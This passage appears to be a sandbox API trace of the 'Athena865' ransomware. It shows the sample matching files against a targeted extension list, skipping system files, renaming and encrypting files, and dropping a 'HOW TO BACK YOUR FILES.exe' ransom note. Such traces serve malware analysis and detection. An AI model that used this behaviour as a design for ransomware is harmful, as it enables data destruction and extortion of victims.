lstrlenW (lpString="fp4") returned 3 [0118.544] lstrcmpiW (lpString1="mui", lpString2="fp4") returned 1 [0118.544] lstrlenW (lpString="fp5") returned 3 [0118.544] lstrcmpiW (lpString1="mui", lpString2="fp5") returned 1 [0118.544] lstrlenW (lpString="fp7") returned 3 [0118.544] lstrcmpiW (lpString1="mui", lpString2="fp7") returned 1 [0118.544] lstrlenW (lpString="fpt") returned 3 [0118.544] lstrcmpiW (lpString1="mui", lpString2="fpt") returned 1 [0118.544] lstrlenW (lpString="frm") returned 3 [0118.544] lstrcmpiW (lpString1="mui", lpString2="frm") returned 1 [0118.544] lstrlenW (lpString="gdb") returned 3 [0118.544] lstrcmpiW (lpString1="mui", lpString2="gdb") returned 1 [0118.544] lstrlenW (lpString="gdb") returned 3 [0118.544] lstrcmpiW (lpString1="mui", lpString2="gdb") returned 1 [0118.545] lstrlenW (lpString="grdb") returned 4 [0118.545] lstrcmpiW (lpString1=".mui", lpString2="grdb") returned -1 [0118.545] lstrlenW (lpString="gwi") returned 3 [0118.545] lstrcmpiW (lpString1="mui", lpString2="gwi") returned 1 [0118.545] lstrlenW (lpString="hdb") returned 3 [0118.545] lstrcmpiW (lpString1="mui", lpString2="hdb") returned 1 [0118.545] lstrlenW (lpString="his") returned 3 [0118.545] lstrcmpiW (lpString1="mui", lpString2="his") returned 1 [0118.545] lstrlenW (lpString="ib") returned 2 [0118.545] lstrcmpiW (lpString1="ui", lpString2="ib") returned 1 [0118.545] lstrlenW (lpString="idb") returned 3 [0118.545] lstrcmpiW (lpString1="mui", lpString2="idb") returned 1 [0118.545] lstrlenW (lpString="ihx") returned 3 [0118.545] lstrcmpiW (lpString1="mui", lpString2="ihx") returned 1 [0118.545] lstrlenW (lpString="itdb") returned 4 [0118.545] lstrcmpiW (lpString1=".mui", lpString2="itdb") returned -1 [0118.545] lstrlenW (lpString="itw") returned 3 [0118.545] lstrcmpiW (lpString1="mui", lpString2="itw") returned 1 [0118.545] lstrlenW (lpString="jet") returned 3 [0118.545] lstrcmpiW (lpString1="mui", lpString2="jet") returned 1 [0118.545] lstrlenW (lpString="jtx") returned 3 [0118.545] lstrcmpiW (lpString1="mui", lpString2="jtx") returned 1 [0118.545] lstrlenW (lpString="kdb") returned 3 [0118.545] lstrcmpiW (lpString1="mui", lpString2="kdb") returned 1 [0118.545] lstrlenW (lpString="kexi") returned 4 [0118.545] lstrcmpiW (lpString1=".mui", lpString2="kexi") returned -1 [0118.545] lstrlenW (lpString="kexic") returned 5 [0118.545] lstrcmpiW (lpString1="l.mui", lpString2="kexic") returned 1 [0118.545] lstrlenW (lpString="kexis") returned 5 [0118.545] lstrcmpiW (lpString1="l.mui", lpString2="kexis") returned 1 [0118.546] lstrlenW (lpString="lgc") returned 3 [0118.546] lstrcmpiW (lpString1="mui", lpString2="lgc") returned 1 [0118.546] lstrlenW (lpString="lwx") returned 3 [0118.546] lstrcmpiW (lpString1="mui", lpString2="lwx") returned 1 [0118.546] lstrlenW (lpString="maf") returned 3 [0118.546] lstrcmpiW (lpString1="mui", lpString2="maf") returned 1 [0118.546] lstrlenW (lpString="maq") returned 3 [0118.546] lstrcmpiW (lpString1="mui", lpString2="maq") returned 1 [0118.546] lstrlenW (lpString="mar") returned 3 [0118.546] lstrcmpiW (lpString1="mui", lpString2="mar") returned 1 [0118.546] lstrlenW (lpString="marshal") returned 7 [0118.546] lstrcmpiW (lpString1="dll.mui", lpString2="marshal") returned -1 [0118.546] lstrlenW (lpString="mas") returned 3 [0118.546] lstrcmpiW (lpString1="mui", lpString2="mas") returned 1 [0118.546] lstrlenW (lpString="mav") returned 3 [0118.546] lstrcmpiW (lpString1="mui", lpString2="mav") returned 1 [0118.546] lstrlenW (lpString="maw") returned 3 [0118.546] lstrcmpiW (lpString1="mui", lpString2="maw") returned 1 [0118.546] lstrlenW (lpString="mdbhtml") returned 7 [0118.546] lstrcmpiW (lpString1="dll.mui", lpString2="mdbhtml") returned -1 [0118.546] lstrlenW (lpString="mdn") returned 3 [0118.546] lstrcmpiW (lpString1="mui", lpString2="mdn") returned 1 [0118.546] lstrlenW (lpString="mdt") returned 3 [0118.546] lstrcmpiW (lpString1="mui", lpString2="mdt") returned 1 [0118.546] lstrlenW (lpString="mfd") returned 3 [0118.546] lstrcmpiW (lpString1="mui", lpString2="mfd") returned 1 [0118.546] lstrlenW (lpString="mpd") returned 3 [0118.547] lstrcmpiW (lpString1="mui", lpString2="mpd") returned 1 [0118.547] lstrlenW (lpString="mrg") returned 3 [0118.547] lstrcmpiW (lpString1="mui", lpString2="mrg") returned 1 [0118.547] lstrlenW (lpString="mud") returned 3 [0118.547] lstrcmpiW (lpString1="mui", lpString2="mud") returned 1 [0118.547] lstrlenW (lpString="mwb") returned 3 [0118.547] lstrcmpiW (lpString1="mui", lpString2="mwb") returned -1 [0118.547] lstrlenW (lpString="myd") returned 3 [0118.547] lstrcmpiW (lpString1="mui", lpString2="myd") returned -1 [0118.547] lstrlenW (lpString="ndf") returned 3 [0118.547] lstrcmpiW (lpString1="mui", lpString2="ndf") returned -1 [0118.547] lstrlenW (lpString="nnt") returned 3 [0118.547] lstrcmpiW (lpString1="mui", lpString2="nnt") returned -1 [0118.547] lstrlenW (lpString="nrmlib") returned 6 [0118.547] lstrcmpiW (lpString1="ll.mui", lpString2="nrmlib") returned -1 [0118.547] lstrlenW (lpString="ns2") returned 3 [0118.547] lstrcmpiW (lpString1="mui", lpString2="ns2") returned -1 [0118.547] lstrlenW (lpString="ns3") returned 3 [0118.547] lstrcmpiW (lpString1="mui", lpString2="ns3") returned -1 [0118.547] lstrlenW (lpString="ns4") returned 3 [0118.547] lstrcmpiW (lpString1="mui", lpString2="ns4") returned -1 [0118.547] lstrlenW (lpString="nsf") returned 3 [0118.547] lstrcmpiW (lpString1="mui", lpString2="nsf") returned -1 [0118.547] lstrlenW (lpString="nv") returned 2 [0118.547] lstrcmpiW (lpString1="ui", lpString2="nv") returned 1 [0118.547] lstrlenW (lpString="nv2") returned 3 [0118.547] lstrcmpiW (lpString1="mui", lpString2="nv2") returned -1 [0118.547] lstrlenW (lpString="nwdb") returned 4 [0118.547] lstrcmpiW (lpString1=".mui", lpString2="nwdb") returned -1 [0118.548] lstrlenW (lpString="nyf") returned 3 [0118.548] lstrcmpiW (lpString1="mui", lpString2="nyf") returned -1 [0118.548] lstrlenW (lpString="odb") returned 3 [0118.548] lstrcmpiW (lpString1="mui", lpString2="odb") returned -1 [0118.548] lstrlenW (lpString="odb") returned 3 [0118.548] lstrcmpiW (lpString1="mui", lpString2="odb") returned -1 [0118.548] lstrlenW (lpString="oqy") returned 3 [0118.548] lstrcmpiW (lpString1="mui", lpString2="oqy") returned -1 [0118.548] lstrlenW (lpString="ora") returned 3 [0118.548] lstrcmpiW (lpString1="mui", lpString2="ora") returned -1 [0118.548] lstrlenW (lpString="orx") returned 3 [0118.548] lstrcmpiW (lpString1="mui", lpString2="orx") returned -1 [0118.548] lstrlenW (lpString="owc") returned 3 [0118.548] lstrcmpiW (lpString1="mui", lpString2="owc") returned -1 [0118.548] lstrlenW (lpString="p96") returned 3 [0118.548] lstrcmpiW (lpString1="mui", lpString2="p96") returned -1 [0118.548] lstrlenW (lpString="p97") returned 3 [0118.548] lstrcmpiW (lpString1="mui", lpString2="p97") returned -1 [0118.548] lstrlenW (lpString="pan") returned 3 [0118.548] lstrcmpiW (lpString1="mui", lpString2="pan") returned -1 [0118.548] lstrlenW (lpString="pdb") returned 3 [0118.548] lstrcmpiW (lpString1="mui", lpString2="pdb") returned -1 [0118.548] lstrlenW (lpString="pdm") returned 3 [0118.548] lstrcmpiW (lpString1="mui", lpString2="pdm") returned -1 [0118.548] lstrlenW (lpString="pnz") returned 3 [0118.548] lstrcmpiW (lpString1="mui", lpString2="pnz") returned -1 [0118.548] lstrlenW (lpString="qry") returned 3 [0118.548] lstrcmpiW (lpString1="mui", lpString2="qry") returned -1 [0118.548] lstrlenW (lpString="qvd") returned 3 [0118.548] lstrcmpiW (lpString1="mui", lpString2="qvd") returned -1 [0118.548] lstrlenW (lpString="rbf") returned 3 [0118.549] lstrcmpiW (lpString1="mui", lpString2="rbf") returned -1 [0118.549] lstrlenW (lpString="rctd") returned 4 [0118.549] lstrcmpiW (lpString1=".mui", lpString2="rctd") returned -1 [0118.549] lstrlenW (lpString="rod") returned 3 [0118.549] lstrcmpiW (lpString1="mui", lpString2="rod") returned -1 [0118.549] lstrlenW (lpString="rodx") returned 4 [0118.549] lstrcmpiW (lpString1=".mui", lpString2="rodx") returned -1 [0118.549] lstrlenW (lpString="rpd") returned 3 [0118.549] lstrcmpiW (lpString1="mui", lpString2="rpd") returned -1 [0118.549] lstrlenW (lpString="rsd") returned 3 [0118.549] lstrcmpiW (lpString1="mui", lpString2="rsd") returned -1 [0118.549] lstrlenW (lpString="sas7bdat") returned 8 [0118.549] lstrcmpiW (lpString1=".dll.mui", lpString2="sas7bdat") returned -1 [0118.549] lstrlenW (lpString="sbf") returned 3 [0118.549] lstrcmpiW (lpString1="mui", lpString2="sbf") returned -1 [0118.549] lstrlenW (lpString="scx") returned 3 [0118.549] lstrcmpiW (lpString1="mui", lpString2="scx") returned -1 [0118.549] lstrlenW (lpString="sdb") returned 3 [0118.549] lstrcmpiW (lpString1="mui", lpString2="sdb") returned -1 [0118.549] lstrlenW (lpString="sdc") returned 3 [0118.549] lstrcmpiW (lpString1="mui", lpString2="sdc") returned -1 [0118.549] lstrlenW (lpString="sdf") returned 3 [0118.549] lstrcmpiW (lpString1="mui", lpString2="sdf") returned -1 [0118.549] lstrlenW (lpString="sis") returned 3 [0118.549] lstrcmpiW (lpString1="mui", lpString2="sis") returned -1 [0118.549] lstrlenW (lpString="spq") returned 3 [0118.549] lstrcmpiW (lpString1="mui", lpString2="spq") returned -1 [0118.549] lstrlenW (lpString="te") returned 2 [0118.549] lstrcmpiW (lpString1="ui", lpString2="te") returned 1 [0118.549] lstrlenW (lpString="teacher") returned 7 [0118.549] lstrcmpiW (lpString1="dll.mui", lpString2="teacher") returned -1 [0118.550] lstrlenW (lpString="tmd") returned 3 [0118.550] lstrcmpiW (lpString1="mui", lpString2="tmd") returned -1 [0118.550] lstrlenW (lpString="tps") returned 3 [0118.550] lstrcmpiW (lpString1="mui", lpString2="tps") returned -1 [0118.550] lstrlenW (lpString="trc") returned 3 [0118.550] lstrcmpiW (lpString1="mui", lpString2="trc") returned -1 [0118.550] lstrlenW (lpString="trc") returned 3 [0118.550] lstrcmpiW (lpString1="mui", lpString2="trc") returned -1 [0118.550] lstrlenW (lpString="trm") returned 3 [0118.550] lstrcmpiW (lpString1="mui", lpString2="trm") returned -1 [0118.550] lstrlenW (lpString="udb") returned 3 [0118.550] lstrcmpiW (lpString1="mui", lpString2="udb") returned -1 [0118.550] lstrlenW (lpString="udl") returned 3 [0118.550] lstrcmpiW (lpString1="mui", lpString2="udl") returned -1 [0118.550] lstrlenW (lpString="usr") returned 3 [0118.550] lstrcmpiW (lpString1="mui", lpString2="usr") returned -1 [0118.550] lstrlenW (lpString="v12") returned 3 [0118.550] lstrcmpiW (lpString1="mui", lpString2="v12") returned -1 [0118.550] lstrlenW (lpString="vis") returned 3 [0118.550] lstrcmpiW (lpString1="mui", lpString2="vis") returned -1 [0118.550] lstrlenW (lpString="vpd") returned 3 [0118.550] lstrcmpiW (lpString1="mui", lpString2="vpd") returned -1 [0118.550] lstrlenW (lpString="vvv") returned 3 [0118.550] lstrcmpiW (lpString1="mui", lpString2="vvv") returned -1 [0118.550] lstrlenW (lpString="wdb") returned 3 [0118.550] lstrcmpiW (lpString1="mui", lpString2="wdb") returned -1 [0118.550] lstrlenW (lpString="wmdb") returned 4 [0118.550] lstrcmpiW (lpString1=".mui", lpString2="wmdb") returned -1 [0118.550] lstrlenW (lpString="wrk") returned 3 [0118.550] lstrcmpiW (lpString1="mui", lpString2="wrk") returned -1 [0118.550] lstrlenW (lpString="xdb") returned 3 [0118.550] lstrcmpiW (lpString1="mui", lpString2="xdb") returned -1 [0118.551] lstrlenW (lpString="xld") returned 3 [0118.551] lstrcmpiW (lpString1="mui", lpString2="xld") returned -1 [0118.551] lstrlenW (lpString="xmlff") returned 5 [0118.551] lstrcmpiW (lpString1="l.mui", lpString2="xmlff") returned -1 [0118.551] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui.Athena865") returned 69 [0118.551] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui" (normalized: "c:\\program files\\common files\\system\\en-us\\wab32res.dll.mui"), lpNewFileName="C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui.Athena865" (normalized: "c:\\program files\\common files\\system\\en-us\\wab32res.dll.mui.athena865"), dwFlags=0x1) returned 1 [0118.552] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui.Athena865" (normalized: "c:\\program files\\common files\\system\\en-us\\wab32res.dll.mui.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0118.552] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=93696) returned 1 [0118.552] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0118.552] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5390e0 [0118.552] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0118.552] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0118.553] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0118.553] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0118.553] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x17100, lpName=0x0) returned 0x17c [0118.554] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x17100) returned 0x100000 [0118.559] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0118.559] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0118.559] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0118.559] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538ff0 [0118.559] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538ff0 | out: hHeap=0x4f0000) returned 1 [0118.560] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0118.560] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0118.560] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0118.560] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0118.560] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552140 [0118.560] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0118.560] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0118.560] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0118.560] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0118.561] CloseHandle (hObject=0x17c) returned 1 [0118.561] CloseHandle (hObject=0x154) returned 1 [0118.561] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5390e0 | out: hHeap=0x4f0000) returned 1 [0118.561] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0118.561] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0118.562] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb313d55, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb313d55, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x16e00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 0 [0118.562] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0118.562] ReleaseMutex (hMutex=0xec) returned 1 [0118.562] CloseHandle (hObject=0xec) returned 1 [0118.562] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Common Files\\System\\msadc" | out: lpString1="C:\\Program Files\\Common Files\\System\\msadc") returned="C:\\Program Files\\Common Files\\System\\msadc" [0118.562] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528dd0 | out: hHeap=0x4f0000) returned 1 [0118.562] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52af60 | out: hHeap=0x4f0000) returned 1 [0118.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc") returned 42 [0118.562] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\C904AA81A04C54B427B44D4B706B1E95") returned 0xec [0118.562] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0118.562] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\System\\msadc" | out: lpString1="C:\\Program Files\\Common Files\\System\\msadc") returned="C:\\Program Files\\Common Files\\System\\msadc" [0118.562] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0118.562] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\System\\msadc\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\system\\msadc\\how to back your files.exe"), bFailIfExists=1) returned 0 [0118.563] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\system\\msadc\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0118.563] GetLastError () returned 0x0 [0118.563] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0118.563] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x552140 [0118.563] ReadFile (in: hFile=0xf4, lpBuffer=0x552140, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x552140*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0118.564] CloseHandle (hObject=0xf4) returned 1 [0118.564] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0118.564] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0118.564] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xce1bed20, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xce1bed20, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0118.564] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0118.564] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0118.564] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0118.564] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xce1bed20, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xce1bed20, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.565] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0118.565] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0118.565] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0118.565] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0118.565] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa34c44b4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa34c44b4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa05a2bb2, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x276, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="adcjavas.inc", cAlternateFileName="")) returned 1 [0118.565] lstrcmpiW (lpString1="adcjavas.inc", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0118.565] lstrcmpiW (lpString1="adcjavas.inc", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0118.565] lstrcmpiW (lpString1="adcjavas.inc", lpString2=".") returned 1 [0118.565] lstrcmpiW (lpString1="adcjavas.inc", lpString2="..") returned 1 [0118.565] lstrcmpiW (lpString1="adcjavas.inc", lpString2="windows") returned -1 [0118.565] lstrcmpiW (lpString1="adcjavas.inc", lpString2="bootmgr") returned -1 [0118.565] lstrcmpiW (lpString1="adcjavas.inc", lpString2="temp") returned -1 [0118.565] lstrcmpiW (lpString1="adcjavas.inc", lpString2="pagefile.sys") returned -1 [0118.565] lstrcmpiW (lpString1="adcjavas.inc", lpString2="boot") returned -1 [0118.565] lstrcmpiW (lpString1="adcjavas.inc", lpString2="ids.txt") returned -1 [0118.565] lstrcmpiW (lpString1="adcjavas.inc", lpString2="ntuser.dat") returned -1 [0118.565] lstrcmpiW (lpString1="adcjavas.inc", lpString2="perflogs") returned -1 [0118.565] lstrcmpiW (lpString1="adcjavas.inc", lpString2="MSBuild") returned -1 [0118.565] lstrlenW (lpString="adcjavas.inc") returned 12 [0118.565] lstrcpyW (in: lpString1=0x241e89e, lpString2="adcjavas.inc" | out: lpString1="adcjavas.inc") returned="adcjavas.inc" [0118.565] lstrlenW (lpString="adcjavas.inc") returned 12 [0118.565] lstrlenW (lpString="Athena865") returned 9 [0118.565] lstrcmpiW (lpString1="javas.inc", lpString2="Athena865") returned 1 [0118.565] lstrlenW (lpString=".dll") returned 4 [0118.565] lstrcmpiW (lpString1="adcjavas.inc", lpString2=".dll") returned 1 [0118.565] lstrlenW (lpString=".lnk") returned 4 [0118.565] lstrcmpiW (lpString1="adcjavas.inc", lpString2=".lnk") returned 1 [0118.565] lstrlenW (lpString=".ini") returned 4 [0118.565] lstrcmpiW (lpString1="adcjavas.inc", lpString2=".ini") returned 1 [0118.565] lstrlenW (lpString=".sys") returned 4 [0118.566] lstrcmpiW (lpString1="adcjavas.inc", lpString2=".sys") returned 1 [0118.566] lstrlenW (lpString="adcjavas.inc") returned 12 [0118.566] lstrlenW (lpString="bak") returned 3 [0118.566] lstrcmpiW (lpString1="inc", lpString2="bak") returned 1 [0118.566] lstrlenW (lpString="ba_") returned 3 [0118.566] lstrcmpiW (lpString1="inc", lpString2="ba_") returned 1 [0118.566] lstrlenW (lpString="dbb") returned 3 [0118.566] lstrcmpiW (lpString1="inc", lpString2="dbb") returned 1 [0118.566] lstrlenW (lpString="vmdk") returned 4 [0118.566] lstrcmpiW (lpString1=".inc", lpString2="vmdk") returned -1 [0118.566] lstrlenW (lpString="rar") returned 3 [0118.566] lstrcmpiW (lpString1="inc", lpString2="rar") returned -1 [0118.566] lstrlenW (lpString="zip") returned 3 [0118.566] lstrcmpiW (lpString1="inc", lpString2="zip") returned -1 [0118.566] lstrlenW (lpString="tgz") returned 3 [0118.566] lstrcmpiW (lpString1="inc", lpString2="tgz") returned -1 [0118.566] lstrlenW (lpString="vbox") returned 4 [0118.566] lstrcmpiW (lpString1=".inc", lpString2="vbox") returned -1 [0118.566] lstrlenW (lpString="vdi") returned 3 [0118.566] lstrcmpiW (lpString1="inc", lpString2="vdi") returned -1 [0118.566] lstrlenW (lpString="vhd") returned 3 [0118.566] lstrcmpiW (lpString1="inc", lpString2="vhd") returned -1 [0118.566] lstrlenW (lpString="vhdx") returned 4 [0118.566] lstrcmpiW (lpString1=".inc", lpString2="vhdx") returned -1 [0118.566] lstrlenW (lpString="avhd") returned 4 [0118.566] lstrcmpiW (lpString1=".inc", lpString2="avhd") returned -1 [0118.566] lstrlenW (lpString="db") returned 2 [0118.566] lstrcmpiW (lpString1="nc", lpString2="db") returned 1 [0118.566] lstrlenW (lpString="db2") returned 3 [0118.566] lstrcmpiW (lpString1="inc", lpString2="db2") returned 1 [0118.567] lstrlenW (lpString="db3") returned 3 [0118.567] lstrcmpiW (lpString1="inc", lpString2="db3") returned 1 [0118.567] lstrlenW (lpString="dbf") returned 3 [0118.567] lstrcmpiW (lpString1="inc", lpString2="dbf") returned 1 [0118.567] lstrlenW (lpString="mdf") returned 3 [0118.567] lstrcmpiW (lpString1="inc", lpString2="mdf") returned -1 [0118.567] lstrlenW (lpString="mdb") returned 3 [0118.567] lstrcmpiW (lpString1="inc", lpString2="mdb") returned -1 [0118.567] lstrlenW (lpString="sql") returned 3 [0118.567] lstrcmpiW (lpString1="inc", lpString2="sql") returned -1 [0118.567] lstrlenW (lpString="sqlite") returned 6 [0118.567] lstrcmpiW (lpString1="as.inc", lpString2="sqlite") returned -1 [0118.567] lstrlenW (lpString="sqlite3") returned 7 [0118.567] lstrcmpiW (lpString1="vas.inc", lpString2="sqlite3") returned 1 [0118.567] lstrlenW (lpString="sqlitedb") returned 8 [0118.567] lstrcmpiW (lpString1="avas.inc", lpString2="sqlitedb") returned -1 [0118.567] lstrlenW (lpString="xml") returned 3 [0118.567] lstrcmpiW (lpString1="inc", lpString2="xml") returned -1 [0118.567] lstrlenW (lpString="$er") returned 3 [0118.567] lstrcmpiW (lpString1="inc", lpString2="$er") returned 1 [0118.567] lstrlenW (lpString="4dd") returned 3 [0118.567] lstrcmpiW (lpString1="inc", lpString2="4dd") returned 1 [0118.567] lstrlenW (lpString="4dl") returned 3 [0118.567] lstrcmpiW (lpString1="inc", lpString2="4dl") returned 1 [0118.567] lstrlenW (lpString="^^^") returned 3 [0118.567] lstrcmpiW (lpString1="inc", lpString2="^^^") returned 1 [0118.567] lstrlenW (lpString="abs") returned 3 [0118.567] lstrcmpiW (lpString1="inc", lpString2="abs") returned 1 [0118.567] lstrlenW (lpString="abx") returned 3 [0118.567] lstrcmpiW (lpString1="inc", lpString2="abx") returned 1 [0118.568] lstrlenW (lpString="accdb") returned 5 [0118.568] lstrcmpiW (lpString1="s.inc", lpString2="accdb") returned 1 [0118.568] lstrlenW (lpString="accdc") returned 5 [0118.568] lstrcmpiW (lpString1="s.inc", lpString2="accdc") returned 1 [0118.568] lstrlenW (lpString="accde") returned 5 [0118.568] lstrcmpiW (lpString1="s.inc", lpString2="accde") returned 1 [0118.568] lstrlenW (lpString="accdr") returned 5 [0118.568] lstrcmpiW (lpString1="s.inc", lpString2="accdr") returned 1 [0118.568] lstrlenW (lpString="accdt") returned 5 [0118.568] lstrcmpiW (lpString1="s.inc", lpString2="accdt") returned 1 [0118.568] lstrlenW (lpString="accdw") returned 5 [0118.568] lstrcmpiW (lpString1="s.inc", lpString2="accdw") returned 1 [0118.568] lstrlenW (lpString="accft") returned 5 [0118.568] lstrcmpiW (lpString1="s.inc", lpString2="accft") returned 1 [0118.568] lstrlenW (lpString="adb") returned 3 [0118.568] lstrcmpiW 